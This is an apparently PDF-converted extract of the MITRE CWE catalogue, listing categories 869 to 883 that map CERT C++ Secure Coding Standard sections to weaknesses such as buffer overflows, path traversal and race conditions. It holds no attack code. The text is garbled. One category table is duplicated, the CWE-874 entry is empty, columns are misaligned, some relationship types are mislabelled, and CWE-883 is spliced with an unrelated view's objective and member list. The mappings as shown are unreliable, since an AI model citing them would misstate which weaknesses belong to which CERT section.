<td>HasMember</td>
<td>C</td>
<td>882</td>
<td>CERT C++ Secure Coding Section 14 - Concurrency (CON)</td>
<td>1322</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>1322</td>
</tr>
</tbody>
</table>

Relationship Notes

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

References

CWE-869: CERT C++ Secure Coding Section 01 - Preprocessor (PRE)

Category ID: 869 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the Preprocessor (PRE) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
<td>868  1314</td>
</tr>
</tbody>
</table>

References
CERT. "01. Preprocessor (PRE)". <https://www.securecoding.cert.org/confluence/display/cplusplus/01.+Preprocessor+%28PRE%29>.

CWE-870: CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)

Category ID: 870 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the Declarations and Initialization (DCL) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
<td>868  1314</td>
</tr>
</tbody>
</table>

References
CERT. "02. Declarations and Initialization (DCL)". <https://www.securecoding.cert.org/confluence/display/cplusplus/02.+Declarations+and+Initialization+%28DCL%29>.

CWE-871: CERT C++ Secure Coding Section 03 - Expressions (EXP)

Category ID: 871 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the Expressions (EXP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☹</td>
<td>476</td>
<td>NULL Pointer Dereference</td>
<td>868  800</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☹</td>
<td>480</td>
<td>Use of Incorrect Operator</td>
<td>868  811</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☹</td>
<td>768</td>
<td>Incorrect Short Circuit Evaluation</td>
<td>868  1176</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
<td>868  1314</td>
</tr>
</tbody>
</table>

References
CERT. "03. Expressions (EXP)". <https://www.securecoding.cert.org/confluence/display/cplusplus/03.+Expressions+%28EXP%29>.
CWE-872: CERT C++ Secure Coding Section 04 - Integers (INT)

Category ID: 872 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the Integers (INT) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>20</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>129</td>
<td>129</td>
<td>Improper Validation of Array Index</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>190</td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>192</td>
<td>192</td>
<td>Integer Coercion Error</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>197</td>
<td>197</td>
<td>Numeric Truncation Error</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>369</td>
<td>369</td>
<td>Divide By Zero</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>466</td>
<td>466</td>
<td>Return of Pointer Value Outside of Expected Range</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>587</td>
<td>587</td>
<td>Assignment of a Fixed Address to a Pointer</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>606</td>
<td>606</td>
<td>Unchecked Input for Loop Condition</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>676</td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>681</td>
<td>681</td>
<td>Incorrect Conversion between Numeric Types</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>682</td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>868</td>
</tr>
<tr>
<td>MemberOf</td>
<td>686</td>
<td>686</td>
<td>Function Call With Incorrect Argument Type</td>
<td>868</td>
</tr>
<tr>
<td>MemberOf</td>
<td>868</td>
<td>868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
<td>868</td>
</tr>
</tbody>
</table>

References
CERT. "04. Integers (INT)". <https://www.securecoding.cert.org/confluence/display/cplusplus/04.+
Integers+%28INT%29 >.

CWE-873: CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)

Category ID: 873 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the Floating Point Arithmetic (FLP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>369</td>
<td>369</td>
<td>Divide By Zero</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>681</td>
<td>681</td>
<td>Incorrect Conversion between Numeric Types</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>682</td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td>686</td>
<td>686</td>
<td>Function Call With Incorrect Argument Type</td>
<td>868</td>
</tr>
<tr>
<td>MemberOf</td>
<td>868</td>
<td>868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
<td>868</td>
</tr>
</tbody>
</table>

References
CERT. "05. Floating Point Arithmetic (FLP)". <https://www.securecoding.cert.org/confluence/display/cplusplus/05.+Floating+Point+Arithmetic+%28FLP%29 >.

CWE-874: CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
CWE Version 2.11
CWE-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR)

Category ID: 875 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the Characters and Strings (STR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td>868 121</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>88</td>
<td>Argument Injection or Modification</td>
<td>868 155</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>868 226</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>868 234</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>170</td>
<td>Improper Null Termination</td>
<td>868 328</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>193</td>
<td>Off-by-one Error</td>
<td>868 371</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
<td>868 783</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>686</td>
<td>Function Call With Incorrect Argument Type</td>
<td>868 1069</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☑</td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
<td>868 1107</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☑</td>
<td>868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
<td>868 1314</td>
</tr>
</tbody>
</table>

References


CWE-876: CERT C++ Secure Coding Section 08 - Memory Management (MEM)

Category ID: 876 (Category)  Status: Incomplete

References

CERT. "08. Memory Management (MEM)"). < https://www.securecoding.cert.org/confluence/display/cplusplus/08.+Memory+Management+%28MEM%29 >.
Description

Summary

Weaknesses in this category are related to rules in the Memory Management (MEM) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>868  18</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>868  226</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>128</td>
<td>Wrap-around Error</td>
<td>868  256</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
<td>868  269</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
<td>868  361</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>226</td>
<td>Sensitive Information Uncleared Before Release</td>
<td>868  417</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>244</td>
<td>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</td>
<td>868  435</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>252</td>
<td>Unchecked Return Value</td>
<td>868  447</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>391</td>
<td>Unchecked Error Condition</td>
<td>868  677</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td>868  700</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>415</td>
<td>Double Free</td>
<td>868  718</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>416</td>
<td>Use After Free</td>
<td>868  720</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>476</td>
<td>NULL Pointer Dereference</td>
<td>868  800</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>528</td>
<td>Exposure of Core Dump File to an Unauthorized Control Sphere</td>
<td>868  872</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>590</td>
<td>Free of Memory not on the Heap</td>
<td>868  932</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>591</td>
<td>Sensitive Data Storage in Improperly Locked Memory</td>
<td>868  934</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>665</td>
<td>Improper Initialization</td>
<td>868  1029</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>687</td>
<td>Function Call With Incorrectly Specified Argument Value</td>
<td>868  1070</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>690</td>
<td>Unchecked Return Value to NULL Pointer Dereference</td>
<td>868  1073</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>868  1105</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
<td>868  1146</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>762</td>
<td>Mismatched Memory Management Routines</td>
<td>868  1165</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>770</td>
<td>Allocation of Resources Without Limits or Throttling</td>
<td>868  1178</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>822</td>
<td>Untrusted Pointer Dereference</td>
<td>868  1254</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
<td>868  1314</td>
</tr>
</tbody>
</table>

References

CERT. "08. Memory Management (MEM)". <https://www.securecoding.cert.org/confluence/display/cplusplus/08.+Memory+Management+%28MEM%29 >.

CWE-877: CERT C++ Secure Coding Section 09 - Input Output (FIO)

Category ID: 877 (Category)  Status: Incomplete

Description

Summary

Weaknesses in this category are related to rules in the Input Output (FIO) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
<td>868  30</td>
</tr>
</tbody>
</table>
## CWE-878: CERT C++ Secure Coding Section 10 - Environment (ENV)

### Category ID: 878 (Category)

**Status:** Incomplete

### Description

Weaknesses in this category are related to rules in the Environment (ENV) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>37</td>
<td>Path Traversal: '/absolute/pathname/here'</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>38</td>
<td>Path Traversal: '\absolute\pathname\here'</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>39</td>
<td>Path Traversal: 'C:dirname'</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>59</td>
<td>Improper Link Resolution Before File Access (‘Link Following’)</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>62</td>
<td>UNIX Hard Link</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>64</td>
<td>Windows Shortcut Following (.LNK)</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>65</td>
<td>Windows Hard Link</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>67</td>
<td>Improper Handling of Windows Device Names</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>73</td>
<td>External Control of File Name or Path</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>241</td>
<td>Improper Handling of Unexpected Data Type</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>276</td>
<td>Incorrect Default Permissions</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>279</td>
<td>Incorrect Execution-Assigned Permissions</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization (‘Race Condition’)</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>379</td>
<td>Creation of Temporary File in Directory with Incorrect Permissions</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>391</td>
<td>Unchecked Error Condition</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>403</td>
<td>Exposure of File Descriptor to Unintended Control Sphere (‘File Descriptor Leak’)</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>552</td>
<td>Files or Directories Accessible to External Parties</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>770</td>
<td>Allocation of Resources Without Limits or Throttling</td>
<td>868</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
<td>868</td>
<td></td>
</tr>
</tbody>
</table>

### References


---

**Nature** | **Type** | **ID** | **Name**                                                                                                                                                                                                 | **Page** |
---|---|---|---|---|
ParentOf | 37 | Path Traversal: '/absolute/pathname/here' | 868 | 67 |
ParentOf | 38 | Path Traversal: '\absolute\pathname\here' | 868 | 68 |
ParentOf | 39 | Path Traversal: 'C:dirname' | 868 | 70 |
ParentOf | 41 | Improper Resolution of Path Equivalence | 868 | 73 |
ParentOf | 59 | Improper Link Resolution Before File Access (‘Link Following’) | 868 | 91 |
ParentOf | 62 | UNIX Hard Link | 868 | 96 |
ParentOf | 64 | Windows Shortcut Following (.LNK) | 868 | 98 |
ParentOf | 65 | Windows Hard Link | 868 | 100 |
ParentOf | 67 | Improper Handling of Windows Device Names | 868 | 103 |
ParentOf | 73 | External Control of File Name or Path | 868 | 108 |
ParentOf | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer | 868 | 226 |
ParentOf | 134 | Use of Externally-Controlled Format String | 868 | 277 |
ParentOf | 241 | Improper Handling of Unexpected Data Type | 868 | 431 |
ParentOf | 276 | Incorrect Default Permissions | 868 | 491 |
ParentOf | 279 | Incorrect Execution-Assigned Permissions | 868 | 495 |
ParentOf | 362 | Concurrent Execution using Shared Resource with Improper Synchronization (‘Race Condition’) | 868 | 628 |
ParentOf | 367 | Time-of-check Time-of-use (TOCTOU) Race Condition | 868 | 643 |
ParentOf | 379 | Creation of Temporary File in Directory with Incorrect Permissions | 868 | 660 |
ParentOf | 391 | Unchecked Error Condition | 868 | 677 |
ParentOf | 403 | Exposure of File Descriptor to Unintended Control Sphere (‘File Descriptor Leak’) | 868 | 698 |
ParentOf | 404 | Improper Resource Shutdown or Release | 868 | 700 |
ParentOf | 552 | Files or Directories Accessible to External Parties | 868 | 892 |
ParentOf | 675 | Duplicate Operations on Resource | 868 | 1045 |
ParentOf | 676 | Use of Potentially Dangerous Function | 868 | 1046 |
ParentOf | 732 | Incorrect Permission Assignment for Critical Resource | 868 | 1124 |
ParentOf | 770 | Allocation of Resources Without Limits or Throttling | 868 | 1178 |
MemberOf | 868 | Weaknesses Addressed by the CERT C++ Secure Coding Standard | 868 | 1314 |
CWE-879: CERT C++ Secure Coding Section 11 - Signals (SIG)

Category ID: 879 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the Signals (SIG) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>662</td>
<td>Improper Synchronization</td>
<td>868</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
<td>868</td>
</tr>
</tbody>
</table>

References

CWE-880: CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)

Category ID: 880 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to rules in the Exceptions and Error Handling (ERR) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>390</td>
<td>Detection of Error Condition Without Action</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>391</td>
<td>Unchecked Error Condition</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>460</td>
<td>Improper Cleanup on Thrown Exception</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>497</td>
<td>Exposure of System Data to an Unauthorized Control Sphere</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>544</td>
<td>Missing Standardized Error Handling Mechanism</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>755</td>
<td>Improper Handling of Exceptional Conditions</td>
<td>868</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
<td>868</td>
</tr>
</tbody>
</table>

References

CWE-881: CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)

Category ID: 881 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to rules in the Object Oriented Programming (OOP) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th></th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>V</td>
<td>868</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
<td>V</td>
<td>1314</td>
</tr>
</tbody>
</table>

References

CWE-882: CERT C++ Secure Coding Section 14 - Concurrency (CON)

Category ID: 882 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to rules in the Concurrency (CON) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th></th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
<td></td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>366</td>
<td>Race Condition within a Thread</td>
<td></td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td></td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>488</td>
<td>Exposure of Data Element to Wrong Session</td>
<td></td>
<td>868</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>772</td>
<td>Missing Release of Resource after Effective Lifetime</td>
<td></td>
<td>868</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
<td></td>
<td>1314</td>
</tr>
</tbody>
</table>

References

CWE-883: CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)

Category ID: 883 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to rules in the Miscellaneous (MSC) section of the CERT C++ Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships
Objective
This view contains a selection of weaknesses that represent the variety of weaknesses that are captured in CWE, at a level of abstraction that is likely to be useful to most audiences. It can be used by researchers to determine how broad their theories, models, or tools are. It will also be used by the CWE content team in 2012 to focus quality improvement efforts for individual CWE entries.

View Data

References
CERT. "49. Miscellaneous (MSC)". <https://www.securecoding.cert.org/confluence/display/cplusplus/49.+Miscellaneous+%28MSC%29>.
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td></td>
<td>90</td>
<td>Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>94</td>
<td>Improper Control of Generation of Code ('Code Injection')</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>96</td>
<td>Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>113</td>
<td>Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>117</td>
<td>Improper Output Neutralization for Logs</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>129</td>
<td>Improper Validation of Array Index</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>135</td>
<td>Incorrect Calculation of Multi-Byte String Length</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>170</td>
<td>Improper Null Termination</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>173</td>
<td>Improper Handling of Alternate Encoding</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>174</td>
<td>Double Decoding of the Same Data</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>175</td>
<td>Improper Handling of Mixed Encoding</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>179</td>
<td>Incorrect Behavior Order: Early Validation</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>185</td>
<td>Incorrect Regular Expression</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>191</td>
<td>Integer Underflow (Wrap or Wraparound)</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>193</td>
<td>Off-by-one Error</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>203</td>
<td>Information Exposure Through Discrepancy</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>212</td>
<td>Improper Cross-boundary Removal of Sensitive Data</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>222</td>
<td>Truncation of Security-relevant Information</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>223</td>
<td>Omission of Security-relevant Information</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>228</td>
<td>Improper Handling of Syntactically Invalid Structure</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>244</td>
<td>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>248</td>
<td>Uncaught Exception</td>
<td>884</td>
</tr>
<tr>
<td>HasMember</td>
<td></td>
<td>250</td>
<td>Execution with Unnecessary Privileges</td>
